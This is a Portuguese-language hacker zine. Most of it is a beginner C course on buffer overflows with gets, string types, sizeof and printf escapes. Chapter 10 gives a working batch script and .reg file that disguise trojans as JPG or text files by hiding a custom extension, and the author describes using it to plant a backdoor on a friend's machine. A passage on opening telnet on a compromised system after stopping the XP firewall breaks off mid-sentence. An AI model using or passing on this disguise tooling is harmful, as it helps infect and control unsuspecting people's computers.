buffer overflow, simples: Não use funções perigosas, ponto ^^. Não quero assustar voces POR ENQUANTO, pois algumas funções eu ainda vou ensinar ^^, tipo assim galera, posso ensinar uma unica maneira de prevenção agora, só pra voces não falarem que minha zine é de péssima qualidade (heheh) vejam esse code: -------- overflow.c -------- #include main (void){ char str[3]; printf ("Estoure meu buffer [size buffer:3]:"); gets (str); printf ("%s",str);} ---------- cut ---------- Vamos ver onde acontece os sonhos ^^. Resultado: C:\Documents and Settings\David\Desktop>overflow Estoure meu buffer [size buffer:3]:ab < -- 2 caracteres + o terminador \0 = 3 (Normal =) ab C:\Documents and Settings\David\Desktop>overflow Estoure meu buffer [size buffer:3]:1234567891011 < -- Problema, mas o programa ainda não deu pau 1234567891011 C:\Documents and Settings\David\Desktop>overflow Estoure meu buffer [size buffer:3]:destroyeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeer destroyeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeer Olha que mensagem legal que o windows me deu 'depois que eu digitei a ultima string': O overflow.exe encontrou um problema e precisa ser fechado. Mensagem legal ;-) Como evitar? Voces se lembram da função scanf que falei nas zines anteriores? Pois é amigo, ela também é vulneravel hauhauh!!! Mas calma, calma, quem estuda C tem que conhecer o maximo de funções possiveis, mas o interesante é que ele não é totalmente vulneravel =) Eba!!! Eba!!! hauha!!! Voces devem estar dizendo: Ufa!! Basta usar especificadores para limitar o tamanho da string que vai ser passada para o buffer ;-) Exemplo: ---------- cut ---------- #include main (void){ char str[6]; //Armazena 5 caracteres + o '\0' printf ("Seu nome rapaizinho [buffer 6]:"); scanf ("%5s", &str); //Pega "5" bytes (caracteres) e joga para str printf ("%s",str);} ---------- cut ---------- Resultado: Execução normal: C:\Documents and Settings\David\Desktop>overflow Seu nome rapaizinho [buffer 6]:David < -- Escrevi os cinco caracteres ;-) David < -- Leu os cinco caracteres deboa ;-) Engraçadinho tentando estourar meu buffer: C:\Documents and Settings\David\Desktop>overflow Seu nome rapaizinho [buffer 6]:David gostosao < -- Mais de cinco caracteres ;] David < -- Aham!!!!! Só imprimiu 5 caracteres, porque ele pegou só 5 ;) Na proxima C.O.D.E vai algo mais completo ;) Continuando..... Olha que interesante as variaveis do tipo 'char' se comparadas com as variaveis do tipo 'int'. int variavel=2; char variavel[7]="String"; Repare acima que eu sempre reservo um espaço para o '\0' que é colocado "automaticamente" no final de uma string, nem se preocupe (gets e tals =). Repare que no C como em muitas linguagens de programação, para se referir a uma string (Sequencias de texto) necessitamos utilizar as aspas para determinar que ali se refere a uma string, as strings são conhecidas no C como vetores de caracteres, que como eu ja havia falado: 'Sempre terminam com um caractere nulo'. Por isso devo alertar mais uma vez: "sempre reserve um espaço em seu buffer para esse terminador". A principal caracteristica de uma variavel do tipo char é justamente as aspas nos seus valores =). Ja para valores de variaveis do tipo inteiro não precisamos inserir aspas, pois como todos sabemos, variaveis do tipo 'int' armazenam numeros, mas se voce quiZer que um determinado numero seja entendido como string basta coloca-lo entre aspas (e claro que declarando o char antes do nome da variavel =) char variavel[buffer] = "123456"; Para lermos valores do tipo 'char' ao invéz de utilizarmos o '%d', utilizamos o '%s'. Vamos a um exemplo de declaração de variavel e declaração de valor e logo depois uma demonstração de leitura deste valor. -------- cut -------- #include int main () { char ax[8]= "luzinha"; printf ("A variavel 'ax' possui %d caracteres\n", sizeof(ax)); printf ("O valor da variavel 'ax' e: %s", ax); return 0; } -------- cut -------- Resultado: C:\Documents and Settings\David\Desktop>file1 A variavel 'ax' possui 8 caracteres O valor da variavel ax e: luzinha Se voce reparar bem poderá perceber que o operador sizeof (falarei logo mais) me retornou o numero correto de bytes existente naquele buffer (area de armaze namento), mas quando a função printf me mostrou qual era o valor da variavel 'ax' ela não exibiu de forma alguma o terminador nulo que foi inserido no final da string, ou seja, esse nome 'terminador' não significa 'terminador' por qualquer motivo, ele simplesmente existe para marcar o fim de uma sequencia de texto e não pode ser lido. Vamos fazer uma pequena modificação no exemplo anterior -------- cut -------- #include int main () { char ax[8]= "luz\0inha"; // <--- Reparem no que eu fiz printf ("A variavel 'ax' possui %d caracteres\n", sizeof(ax)); printf ("O valor da variavel ax e: %s", ax); return 0; } -------- cut -------- Resultado: A variavel 'ax' possui 8 caracteres O valor da variavel ax e: luz Podemos fazer com que o compilador detecte e crie um buffer com uma determinada quantidade de bytes sem precisarmos especificar manualmente quantos bytes nosso buffer vai ter, ou seja, o compilador mesmo analisa e cria um buffer contando o valor da variavel, para fazer isso basta não especificar a quantidade de bytes que seu buffer vai ter =). Simples, pois assim ele vai fazer como eu falei: cria um buffer se baseando na quantidade de caracteres do valor da variavel e ainda vai inserir no final da string o terminador nulo automaticamente =). Exemplo: -------- cut -------- #include int main () { char ax[]= "luzinha"; // <-- Repare aqui que meu buffer '[]' está indefinido printf ("A variavel 'ax' possui %d caracteres\n", sizeof(ax)); printf ("O valor da variavel 'ax' e: %s", ax); return 0; } -------- cut -------- Resultado: C:\Documents and Settings\David\Desktop>sinc A variavel 'ax' possui 8 caracteres O valor da variavel 'ax' e: luzinha Repare que o operador 'sizeof' contou a quantidade de bytes no valor da variavel 'ax' e me retornou quantos bytes existia nesse buffer, ou seja, 8 bytes luzinha -- > 7 bytes \0 --> 1 byte Acho que ja está na hora de falar sobre o operador sizeof. Bem, este operador é utilizado para verificar o tamanho (em bytes) 'dos tipos' e 'variaveis' desses tais tipos, vale lembrar que este operador pode ser lido como um inteiro, sua sintaxe é assim: sizeof (variavel) ou sizeof (tipo) Exemplo: -------- cut -------- #include int main () { char ax[]= "luzinha"; printf ("A variavel 'ax' possui %d caracteres\n", sizeof(ax)); return 0; } -------- cut -------- Vamos ver agora como saber o tamanho (em bytes) de um determinado 'tipo', isso varia muito, vamos supor que voce voce está operando uma maquina com hardware de 32 bits (Que é o meu caso nesses exemplos): -------- cut -------- #include int main () { printf ("Cada caractere de um valor do tipo \ char equivale a '%d' byte\n", sizeof(char)); return 0; } -------- cut -------- Resultado: C:\Documents and Settings\David\Desktop>sinc Cada caractere de uma valor do tipo char equivale a '1' byte Repare que utilizei o sizeof seguido do 'tipo' (char) da variavel que eu quero saber o tamanho (sizeof (char)). Vamos fazer o mesmo procedimento só que agora eu quero saber qual o tamanho de um 'int'. -------- cut -------- #include int main () { printf ("Um 'int' equivale a '%d' bytes\n", sizeof(int)); return 0; } -------- cut -------- Resultado: C:\Documents and Settings\David\Desktop>sinc Um 'int' equivale a '4' bytes O resultado mostrou que um int equivale a 4 bytes. Só pra lembrar: 8 bits = 1 byte 4 bytes = 32 bits Essa é a melhor forma de indentificarmos a quantos bits nosso hardware opera, em uma maquina de 16 bits muito provavelmente um 'int' equivale a 16 bits, já em maquinas de 32 bits o 'int' será 32 bits, ou seja, 4 bytes. Simples =) Como ja havia falado anteriormente não vou me aprofundar nisso, pois torno a repetir que esse não é o foco principal deste paper. [===XX=XX===] Indice no C [===XX=XX===] Esse é um assunto de extrema importancia, gostaria que voces prestassem bem atenção. Em uma string (sequencia de texto), cada caractere recebe como eu posso dizer... uma identificação, isso, identificação. Cada caractere contido em uma string recebe numeros que as identificam dentro desta string. O primeiro caractere contido em uma string sempre vai ser 0 ao invéz de 1 como poderiamos até chutar para ser o primeiro, analise esse exemplo abaixo: < ----------- > luzinha\0 01234567 < ----------- > O interesante é que podemos ler determinados caracteres dentro de uma string utilizando seu numero de indice (seu identificador =). Vamos a alguns exemplos :] -------- cut -------- #include int main (){ char ind[8]="luzinha"; printf ("A primeira letra da string 'luzinha' e '%c'", ind[0]); // <-- Repare aqui =] return (0);} -------- cut -------- Acima voce pode ver que para ler UM CARACTERE contido na string utilizamos o '%c' e logo em seguida especificamos a variavel seguida do tal identificador deste caractere 'dentro do buffer'. Vou escrever novamente meu primeiro exemplo para um melhor entendimento: luzinha\0 01234567 Acima voce pode ver que o primeiro caractere da string 'luzinha' é 'l', e como eu ja havia falado anteriormente já que esse caractere é o primeiro caractere contido na string então seu identificador dentro do buffer vai ser o 0. Com esse metodo de leitura podemos visualizar determinados valores apenas utilizando seu numero de indice, assim podemos entender que apenas a letra 'l' vai ser impresa na tela, vamos ver. Resultado: C:\Documents and Settings\David\Desktop>sinc A primeira letra da string 'luzinha' e 'l' Bingo! Para visualizar o primeiro e o segundo caractere da string "luzinha" utilizamos dois sinais de '%c' e logo em seguinda utilizamos a variavel e o numero de indice do buffer que estes caracteres estão. Exemplo: -------- cut -------- #include int main (){ char ind[8]="luzinha"; printf ("As duas primeiras letras da string 'luzinha' \ sao: '%c' e '%c'", ind[0], ind[1]); return (0);} -------- cut -------- Resultado: C:\Documents and Settings\David\Desktop>sinc As duas primeiras letras da string 'luzinha' sao: 'l' e 'u' Não pretendo dar focu sobre isso "agora", vamos nos aprofundar nesse tema nas proximas edições quando falaremos sobre matrizes... se bem que isso: char ind[8]="luzinha"; Pode ser considerado uma matriz, mas é uma matriz de caracteres ;) ou seja, para ler um CARACTERE dentro desta MATRIZ vamos utilizar o %c, vou mostrar para voces uma matriz de numeros, ou seja -> Matrix do tipo inteiro ( =): main (){ int num[2]={123, 456}; printf ("%d + %d = %d\n", num[0], num[1], (num[0] + num[1])); system ("pause");} Espero que voce seja esperto, pois agora nao e hora de falar de matrizes e sim do tal do indice, mas como sempre eu gosto de deixar voces com uma boa base de tudo que eu escrevo, para voces irem pegando as coisas nas proximas edições com mais facilidade :) [==X=========XX=XX===========X=] O TIPO VOID [==X=========XX=XX===========X=] Eu tinha falado vagamente sobre o tipo 'void' na edição passada, disse que 'void' era um tipo sem tipo, que só estava ali para dizer que determinadas coisas são vazias. Agora vamos falar um pouco dele, ei ei ei: Para quem não sabe 'void' significa 'vazio' em portugues (só pra constar =). O void possibilita que a criação de funções que não retornam nada e também possibilida a criação de funções sem parametro. Exemplo: -------- cut -------- #include void main (void){ // < -- Função 'main' não retorna nada e também não tem argumentos printf ("Sinck");} -------- cut -------- Nossos compiladores são programados para lhe alertar sobre a existencia de um 'void' ao invez de int antes da função 'main' (caso voce declare o void antes do main... dã!!), o meu compilador me retornou a seguinte mensagem: 3 C:\Documents and Settings\David\Desktop\void.c [Warning] return type of 'main' is not `int' Tradução: 3 C:\...\void.c [Avisando] o tipo de retorno de 'main' não é 'int' Isso acontece porque o compilador pensa que a função main tem sempre que retornar um inteiro, caso quiZermos que nosso sistema receba o valor de retorno de main, basta declarar a mesma como um inteiro (int main) e especificar dentro do bloco de codigo o valor de retorno, exemplo: 'return (numero de retorno)' Se não especificarmos o tipo de retorno de uma função o compilador vai supor que este tipo é inteiro. Caso main retorne 0 (inteiro) significa que nosso programa teve uma execução normal, caso o main retorne um numero diferente de zero significa o oposto. Caso voce não queira passar o valor de retorno da função main para o sistema, basta utilizar o 'void', assim voce não precisará especificar o 'return 0' para representar um: 'tudo certo'. Recapitulando: e o 'return (-1)' para representar anomalia :] Vale lembrar que é sempre bom voce especificar o valor de retorno, seus codes ficam mais hackoes e mais profissionais rsrs, tinha que colocar uma palhaçada (aff). Um detalhe interesante: -------- cut -------- #include main (void){ // < -- Da uma olhadinha ai gente boa printf ("Me chupa");} -------- cut -------- Isso ai em cima também rola cara, porque como eu ja falei anteriormente, por padrão o C retorna um inteiro, ou seja, nem precisamos especificar o 'int' =) -------- cut -------- #include int main (void){ // < -- Coloca o int se quiZer =) printf ("Me chupa"); return 0;} //Coloca o 'return 0' se quiZer =] -------- cut -------- [========XX=XX========] O TIPO FLOAT [========XX=XX========] Nos ja vimos tres tipos que são: int -- > Determina que uma variavel vai receber valores inteiros (numeros =). char -- > Determina que uma variavel vai receber strings (texto). void -- > Tipo que possibilita a criação de funções que não retornam nada e também possibilida a criação de funções sem parametro. Mas está fautando mais um aí, que é o: float -- > Determina que uma variavel que foi declarada com esse tipo vai armazenar numeros que possuem casas decimais, como: '10.55'. Exemplo: -------- cut -------- #include void main (void){ float variavelx=10.55; printf ("O valor da variavel 'variavelx' e: %f", variavelx);} -------- cut -------- Resultado: C:\Documents and Settings\David\Desktop>sinc O valor da variavel 'variavelx' e: 10.550000 Para lermos valores do tipo float (ponto flutuante) utilizamos o '%f' (olha só que original =). Gente, o 'C' não tem misterio nenhum. Amigos bgners, espero que voces tenham entendido bem esse esquema básico de tipos, não vou falar do tipo double porque o foco aqui é sobre os tipos básicos, se bem que o double ainda está na lista de tipos basicos do C, mas vo parar por aqui, na proxima edição da C.O.D.E eu prometo =) [==[]======XXx=xXX======[]==] Diferentes formas de leitura [==[]======XXx=xXX======[]==] Nos ja aprendemos como funciona o processo de leitura basico de valores de alguns tipos, que são: %d -- > Inteiro %c -- > Um unico caractere %f -- > Float %s -- > string Agora vamos ver como é interesante e IMPORTANTE aprender bem esse negocio de tipos em C ;-) Olhem que legal: -------- cut -------- #include main (void){ printf ("Eu amo a %c%c%c%c%c%c%c", 'L', 'u', 'z', 'i', 'n', 'h', 'a'); printf ("\n\nEstou um passo a frente de voces %s", "Trouxas!!!!"); printf ("\n\nNinguem pode com meu grupo - Viper Corp %d%d%d", 6, 6, 6); printf ("\n\nSo pra constar um float ai: %f\n", 10.88);} -------- cut -------- Resultado: ======================================== C:\Documents and Settings\David\Desktop>satan_emperial Eu amo a Luzinha Estou um passo a frente de voces Trouxas!!!! Ninguem pode com meu grupo - Viper Corp 666 So pra constar um float ai: 10.880000 ======================================== Explicações: O que determina 'um caractere' é o apostrofo (' ') seguido do caractere, exemplo: --> 'A'. Então se eu quiZer ler uma determinada letra eu faço isso: printf ("Me chamo %c %c %c %c %c", 'D', 'a', 'v', 'i', 'd'); Lembram que o %c é usado para imprimir apenas uma letra? Então... Resultado: C:\Documents and Settings\David\Desktop>satan_emperial Me chamo D a v i d < -- O espaço entre as letras que da o charme rsrs printf ("Me chamo %c%c%c%c%c", 'D', 'a', 'v', 'i', 'd'); C:\Documents and Settings\David\Desktop>satan_emperial Me chamo David < -- Juntinho baby =) Proximo! O que é que caracteriza um valor inteiro mesmo? Hum... Lembram? Numeros!!! Exemplo: printf ("\n\nNinguem pode com meu grupo - Viper Corp %d %d %d", 6, 6, 6); Repara que para cada '%d' que eu insiro dentro das aspas, também coloco um valor equivalente a este tipo depois das aspas, assim o printf faz a leitura deboa ;] Proximo! O que caracteriza um valor do tipo char (string) mesmo? As "" - aspas :] Então: printf ("\n\nEstou um passo a frente de voces %s", "Trouxas!!!!"); E assim vai.... [===========XX=XX===========] Constantes de barra invertida [===========XX=XX===========] As vezes exibir apenas letras na tela não é o limite hauhauh!!! Zuera, to zuando, calma. Acho que to relaxando d+ hauahu!! Queria ficar serio o curso todo, mas não da -.- uhauhauha!!! Como todos sabemos a função printf exibe mensagens na tela, ela funciona como o comando echo no DOS, ou seja, echo mensagem printf ("mensagem"); Mas prestem atenção nas aspas ai em cima, hum.... sacou? caso voce queira usar aspas para destacar uma mensagem "dentro de uma string" (sequencia de texto) usando um metodo aparentemente obvio, ia da erro, exemplo: Não da: printf ("Eu quero destacar "essa palavra" "); Para isso foram criadas as constantes de barra invertida ;] Abaixo estão "algumas" delas: xxxxx=====xxxxxxxxx=====xxxxx====xxxxx=====xxxx== \" -- > Coloca aspas dentro da string \' -- > Coloca apóstrofo dentro da string \a -- > Da um beep (da uma piada) -> isso é legal rsrs \n -- > New line (nova linha) - > Pula uma linha \0 -- > Terminador nulo \\ -- > Inseri uma unica contra barra ('\') dentro da string xxxxx=====xxxxxxxxx=====xxxxx====xxxxx=====xxxx== Vamos aos exemplos [=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx=] -------- cut -------- #include main (void){ printf ("Eu quero destacar \"essa palavra\""); } -------- cut -------- Resultado: C:\Documents and Settings\David\Desktop>Sinck_Destroyer Eu quero destacar "essa palavra" [=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx=] -------- cut -------- #include main (void){ printf ("Eu\nAmo\nA\nLuzinha invaders ;]"); } -------- cut -------- Resultado: C:\Documents and Settings\David\Desktop>Sinck_Destroyer Eu Amo A Luzinha invaders ;] [=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx=] -------- cut -------- #include main (void){ printf ("Pi!\a Pi!!\a Pi!!!\a Huahuahuah"); } -------- cut -------- Resultado: C:\Documents and Settings\David\Desktop>Sinck.exe Pi! Pi!! Pi!!! Huahuahuah [=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx=] Piadinha sem graça -.- Huahuahuahuah!!! -------- cut -------- #include main (void){ printf ("\n\nEu queria ter nascido em 20\\07\\1950 \ para ter 16 anos em 20\\07\\1965,\no auge da rebeldia.\n\n"); } -------- cut -------- Resultado hauhau!!!: C:\Documents and Settings\David>desktop\Untitled1 Eu queria ter nascido em 20\07\1950 para ter 16 anos em 20\07\1965, o auge da rebeldia. Foi mal, mal, tava sem imaginação rsrsrs, pra quem não entendeu a piada eu quiz mostrar a data, exemplo: 06/03/2008. Entendeu? rsrs Muito legal. E por ai vai..... Ei ei ei, para imprimir um sinal de percento na tela com o printf, use dois sinais de percento para representar 'um', exemplo: -------- cut -------- #include main (void){ printf ("Estou vendendo meu adaptador \ wireless 802.11b/g com 50%% de desconto avista"); } -------- cut -------- Resultado: C:\Documents and Settings\David\Desktop>Bru Estou vendendo meu adaptador wireless 802.11b/g com 50% de desconto avista [===xXx=====XX=XX======xXx===] Um pouco mais de variaveis [===xXx=====XX=XX======xXx===] Abaixo vai um pouco sobre declarações de variaveis para voces irem se ligando na proxima edição da C.O.D.E =) Nem vou comentar muito porque o font do code ja ta bem comentado eheh, na proxima edição eu vou explicar melhor, mas por hora isso ja pode ajudar voces amigos ;) --- variavel.c --- #include #include int global; // <-- Variavel global, todas as funções a enchergam int func (int variavel_de_lista_de_parametros){ /*Também podemos declarar variaveis na lista de parametros de uma função, apesar deste tipo de variavel receber valores externos, ela é utilizada apenas no bloco de codigo da função em que foi declarada (na lista de parametros =).*/ printf ("O valor da variavel global e -> %d\n", global); printf ("Eu disse: %d =)\n", global); printf ("O valor da variavel_de_lista_de_parametros \ eh ->%d<-\n", variavel_de_lista_de_parametros); } int main (void){ system ("cls"); int var_local=0; /* <-- Variavel local, só é utilizada E VISTA no bloco de codigo da função em que foi declarada */ puts ("Contagem:\n"); for (var_local;var_local<10;var_local += 1){ int variavel_de_bloco=var_local; /* <-- Variavel de bloco ->'for'<-, só é vista e UTILIZADA dentro do bloco de codigo 'for' em que foi declarada */ printf ("numero [%d]\n", variavel_de_bloco);} printf ("\nDigite um numero:"); scanf ("%d", &global); func (10); /* printf ("%d", variavel_de_bloco); Se voce tentar chamar uma variavel de bloco 'for' aqui, verá uma msg como essa: C:\variavel.c `variavel_de_bloco' undeclared (first use in this function) */ printf ("E o valor da variavel local de main (var_local) eh %d\n", var_local); system ("pause"); return (0); } --- cut --- [========XX=XX========] Encerramento da parte 3 [========XX=XX========] Nos proximos episodios de sua emocionante serie: O cuso de C. Iremos ver neste mesmo horario neste mesmo canal os seguintes temas: < -- O TIPO DOUBLE - O retorno dos androides -.0 -- > < -- Só conto na proxima edição 0.= -- > < -- Só conto na proxima edição =.= -- > Voces devem ter percebido a existencia de uma 'contra barra' (\) em alguns exemplos, e muitos que estão lendo a terceira parte do curso de C devem estar curiosos para saber do que essa tal barra se trata, simples: printf ("A contra barra serve para evitar a escrita de um texto muito grande em uma unica linha"); Entenderam? Ou seja, para evitar isso utilize a contra barra. Exemplo: -------- cut -------- #include int main (void){ char mylove[8]="Luzinha"; printf ("\n\nSou feliz, feliz porque estou apaixonado, feliz porque amo e \ sou correspondido, me sinto bem ao lado dela, me sinto bem porque \ sempre que estou ao lado dela sorrio como um menino e sou mimado \ como um bebe. Sou um homem feliz porque sei que o coracao dela e' meu \ e ela sabe que meu coracao e' e sempre sera dela. Te amo %s.\n\n", mylove); return (0);} -------- cut -------- O G++ não gosta do void Ops, ia esquecendo ^^. Gostaria de recomendar um ótimo compilador para windows chamado Dev-C++, quando voce clica em new -> source file, o Dev vai criar um arquivo .cpp em branco para voce escrever os codigos, a extensão 'cpp' quer SUPOSTAMENTE dizer que aquele font foi feito em C++, mas voce pode escrever seus codigos em C tranquilamente em arquivos com essa extensão e compila-los, o problema vem agora, tipo assim, compile este font aqui (dentro de um arquivo cpp): ---- Untitled1.cpp ---------- #include void main (void){ printf ("Deu Pau!!!"); } -------- cut -------- Não vou conseguir compilar ele porque se o arquivo estiver com extensão .cpp não é permitida 'a não especificação do int' de forma alguma, ou seja, ele te obriga a colocar o int antes de main retornando essa mensagem: 3 C:\Documents and Settings\David\Desktop\Untitled1.cpp `main' must return `int' Ele ta dizendo que o main tem que retornar um inteiro (int), o Dev é uma especie de interface bonitinha para o gcc e para o g++, compiladores C e C++ respectivamente, na verdade é o g++ que não permite que a função retorne void, Veja os logs: Compiler: Default compiler Executing g++.exe... g++.exe "C:\Documents and Settings\David\Desktop\Untitled1.cpp" -o "C:\Documents and Settings\David\Desktop\Untitled1.exe" -g3 -I "C:\Dev-Cpp\lib\gcc\mingw32\3.4.2 \include" -I"C:\Dev-Cpp\include\c++\3.4.2\backward" -I"C:\Dev-Cpp\include\c++\3.4.2\ mingw32" -I"C:\Dev-Cpp\include\c++\3.4.2" -I"C:\Dev-Cpp\include" -L"C:\Dev-Cpp\lib" -l wsock32 -g3 C:\Documents and Settings\David\Desktop\Untitled1.cpp:3: error: `main' must return `int' Execution terminated Ja que o Dev identifica qual compilador usar, se baseando pela extensão dos arquivos, e já que sabemos que o tal do g++ não permite que a função principal retorne void, basta usarmos outro compilador =] Como? Sempre escreva seus CODEs em arquivos com a extensão '.c', assim o Dev vai utilizar o gcc para compila-lo, com o gcc é apenas exibida uma mensagenzinha que eu ja falei anteriormente e pronto, mas o importante é que ele compila =) Isso ja atrasou a vida de muitos amigos meus, por isso estou falando, para que isso não aconteça com voce, fazendo voce desistir de estudar 'C' só porque não conseguiu compilar um code. Faça um teste: ---- Untitled1.c ---------- #include void main (void){ printf ("Agora foi!!! =]"); // <-- Repara na string de controle =) } ------- cut ------- Logs: Compiler: Default compiler Executing gcc.exe... gcc.exe "C:\Documents and Settings\David\Desktop\Untitled1.c" -o "C:\Documents and Settings\David\Desktop\Untitled1.exe" -g3 -I"C:\Dev-Cpp\include" -L"C:\Dev-Cpp\lib" -l wsock32 -g3 C:\Documents and Settings\David\Desktop\Untitled1.c: In function `main': C:\Documents and Settings\David\Desktop\Untitled1.c:3: warning: return type of 'main' is not `int' Execution terminated Compilation successful < -- Sucesso!!! Vale te lembrar amigo bgner que 90% do's' "error" de um iniciante DEDICADO é na escrita do code e não pela fauta de conhecimento por parte dele. Vou explicar melhor, tipo, um bgner sabe que para declarar uma string é necessario usar aspas, mesmo sabendo ele não viu que esqueceu, ou seja, Erro! Outro erro bastante comum é a declaração de valores que não são suportados por determinados tipos, assim ocazionando erros. Espero que tenham gostado de mais uma parte do curso e gostaria de estar dedicando a terceira parte do curso de C ao meu amor, Patricia. Aguardem a 4ª Parte na C.O.D.E x03 by 6_Bl4ck9_f0x6 Viper Corp Group [s] ----- C4p1Tul0 10 [+] X==XX===========XXX===========XXX===X +] File Extension Manipulation [+] X===========XXX=============XXX======X+] Olá!! Esse code ai é pro pessoal que gosta de uma operação sabotagem, tipo assim, isso ai é bom pra pegar aquele povo que gosta de reparar em extensão ^^. Pessoal, voces podem fazer ele em .reg e mandar pra vitima ^^. Voces sabem aqueles joguinhos que para se crackear precisamos utilizar pequenos .reg? Um exemplo é o Age of Empires 1 e tantos outros por ai, esses .reg são usados para aumentar a velocidade do jogo e tals, dai fica mais facil, basta mandar o jogo pra vitima e mandar ela crackear isso da menos na telha, vamos pensar com malicia agora. Voces muito provavelmente devem conhecer manipulação binaria em rtf e tals, mas o mais interesante disso é que quando a vitima executa qualquer arquivo 'conhecido como perigo' pelo windows, ele avisa e tals, mas se a vitima tiver executado o .reg ou voce mesmo utilizou esse script que escrevi em batch ANTES no sistema dela, voce pode mandar arquivos binarios e tudo mais que não vai aparecer mensagem nenhuma avisando que aquele arquivo é do mal e tals eheh. Para cada tipo de extensão CONHECIDA é exibida uma mensagem diferente, ou seja, ja que seu trojan OU VIRUS vai estar com uma extensão totalmente escabroZa nem se preocupe cara, pois como eu ja falei: Nada de mensagem!!! Reparei isso porque as mensagem mudavam quando se executava diferentes extensões no rtf, dai o que eu pensei? Putz, as mensagens aparecem por causa da extensão OBVIO!!! Quando fui testar uma extensao no rtf com aplicativo "logo depois de ter usado o F.E.M", adivinha o que aconteceu, nada de msg, ou seja, Bingo!!! Dai resolvi brincar um pouco com isso, mandei o Age para um amiga e foi muito legal, disse: David diz: Nanda, tai um joguinho legal. Link: Http://.... Fernanda diz: Opa, eu tenho o 2, mas naum o 1. David diz: Crackeia ele ai, speed e tudo mais Fernanda diz: Quanto terminar de baixar eu faço. Algum tempo depois.... David diz: Nanda, olha o que eu escrevi proce Era um arquivo escrito algo mais ou menos assim rsrs: []==============================================[] O Nanda, minha amada amiga, estava eu aqui sem fazer nada e resolvi escrever um texto proce, ta ai em baixo: notepad.txt < -- Olha a malandragem aqui + | (com icone e tudo mais ^^) < ---- + []==============================================[] Na verdade o que eu mandei era um arquivo com extensao .fox rsrs Ela executou o file e catapimba!!! Não deu outra, minha backdoor rodando e meu clinte conectando rsrsr. Antes tinha bindeado a backdoor com um arquivo de texto escrito um monte de besteira, tipo, piadas!!! rsrs. As utilidades deste script podem ser interminaveis, obvio que voce tem que pensar como um fuçador, pensar com malicia amigo, não estou falando para voces ser malicioso com todos e com tudo, pois a intenção aqui não é tirar sua inocencia, mas garanto que um pouco de malicia "NO NOSSO RAMO" nos traz bons frutos e também nos evita uma bela de uma dor de cabeça, pois existem engenheiros sociai's d+ no mundo, pensando com malicia sua imaginação vai pipocar em seu cerebro, sempre... ------ F. E. M - v2.0.bat ------ @echo off & color c REM Para inserir icones predefinidos no seu trojan basta inserir e modificar essa linha: REM reg add HKEY_CLASSES_ROOT\Master\DefaultIcon /ve /t REG_SZ /d "shell32.dll,67" /f ReM shimgvw.dll,3 = Imagem em JPG ReM title Esquadrao da tortura - Viper Corp :Pergunta ECHO ################################ ECHO F. E. M. v2.0 &echo. ECHO BY ECHO 6_Bl4ck9_f0x6 & echo. ECHO -X-x-X Corporacao Vibora X-x-X- ECHO ################################ & echo. ECHO ============================ ECHO + Viper Corp + ECHO For you Bru?? ECHO ============================ & echo. set reader=y & set reader2=n set /p escolha=Quer continuar? y/n if /I %escolha% EQU %reader% ( GOTO :Starting) if /I %escolha% EQU %reader2% ( GOTO :Adeus) IF %ERRORLEVEL% NEQ %reader% GOTO :Sinck IF %ERRORLEVEL% NEQ %reader2% GOTO :Sinck :Starting echo. & pause & cls echo 6_Bl4ck9_f0x6 diz: &echo. & echo Preencha os dados abaixo & echo. set /p extensao=Digite a extensao que seu trojan ou virus tera - [Exemplo, fox]: ASSOC .%extensao%=Master echo Ext: .%extensao% >> Extensoes.log echo Extensao .%extensao% OK! echo. & pause & cls echo Associando descricao de imagem JPG a sua extensao... reg add HKEY_CLASSES_ROOT\Master /ve /t REG_SZ /d "Imagem no formato JPG" /f echo. echo Associando valor sequencial para extensao fantasma a sua extensao... reg add HKEY_CLASSES_ROOT\Master /v NeverShowExt /t REG_SZ /f echo. echo Associando icone de imagem JPG a sua extensao... reg add HKEY_CLASSES_ROOT\Master\DefaultIcon /ve /t REG_SZ /d "shimgvw.dll,3" /f echo. echo Transformando sua extensao em aplicativo... reg add HKEY_CLASSES_ROOT\Master\shell\open\command /ve /t REG_SZ /d "\"%%1\" %%*" /f echo. & pause :Adeus cls &echo. echo 6_Bl4ck9_f0x6 diz: &echo. & echo Obrigado por estar usando o F.E.M amigo =) & echo. pause & exit :Sinck msg * Desculpe %username% a opcao '%escolha%' e invalida & pause cls & goto :Pergunta ------ Corte aqui ------ Desenvolvi um esquema de backup de extensões que voce cria, tipo assim, o F.E.M cria a extensao, adiciona icone de JPG a ela, adiciona descrição de JPG a sua extensao, oculta a real extensao de seus virus e trojans e ainda cria um arquivozinho onde fica logado todas as extensões que voce criou =) Meu script é bastante eficiente amigos ;] Vamos agora a um exemplo de utilização. Seu trojan se chama - > trojan.exe Mude a extensão 'exe' para a extensão que voce criou, nomeando o arquivo assim: trojan.JPG.fox Nesse caso a extensão 'fox' vai desaparecer e o nome do arquivo vai estar parecendo a extensão (trojan.JPG =). Lembrando que mesmo voce configurando o windows para visualizar extensões dos arquivos, a sua extensão não vai ser exibida de forma alguma. Ta ae o .reg ------ F. E. M - v1.0.reg ------ Windows Registry Editor Version 5.00 [HKEY_CLASSES_ROOT\.Sinck] @="Master" [HKEY_CLASSES_ROOT\Master] @="Imagem no formato JPG" "NeverShowExt"="" [HKEY_CLASSES_ROOT\Master\DefaultIcon] @="shimgvw.dll,3" [HKEY_CLASSES_ROOT\Master\shell] [HKEY_CLASSES_ROOT\Master\shell\open] [HKEY_CLASSES_ROOT\Master\shell\open\command] @="\"%1\" %*" ------ Cut here ------ Boa sorte amigo ;-) [s] ----- C4p1Tul0 11 [=] + =======xx==============xx=========== + [=] +++ . Telnet Secure . +++ by 6_Bl4ck9_f0x6 [=] + =======xx=============xx============ + [=] Hi! Vamos supor que por algum motivo voces precisam abrir a porta telnet do seu desgraçado windows, tabom tabom, é uma possibilidade muito remota, mas.... Ainda sim existe (nem Deus disse: dessa agua não bebereis... ou algo assim). Vamos mais alem, tipo assim, voces fizeram uma operação sabotagem no sistema do maluco e tudo mais, mataram o firewall do XP (net stop sharedaccess) e a porta ta lá abertinha só esperando alguém entrar (hum...), mas voce não quer que ninguem mais entre, o que voce faz? Voce muda a porta padrão para tentar DIFICULTAR a identificação do serviço, mas o cara usa um scan e pega o service em ou porta, o 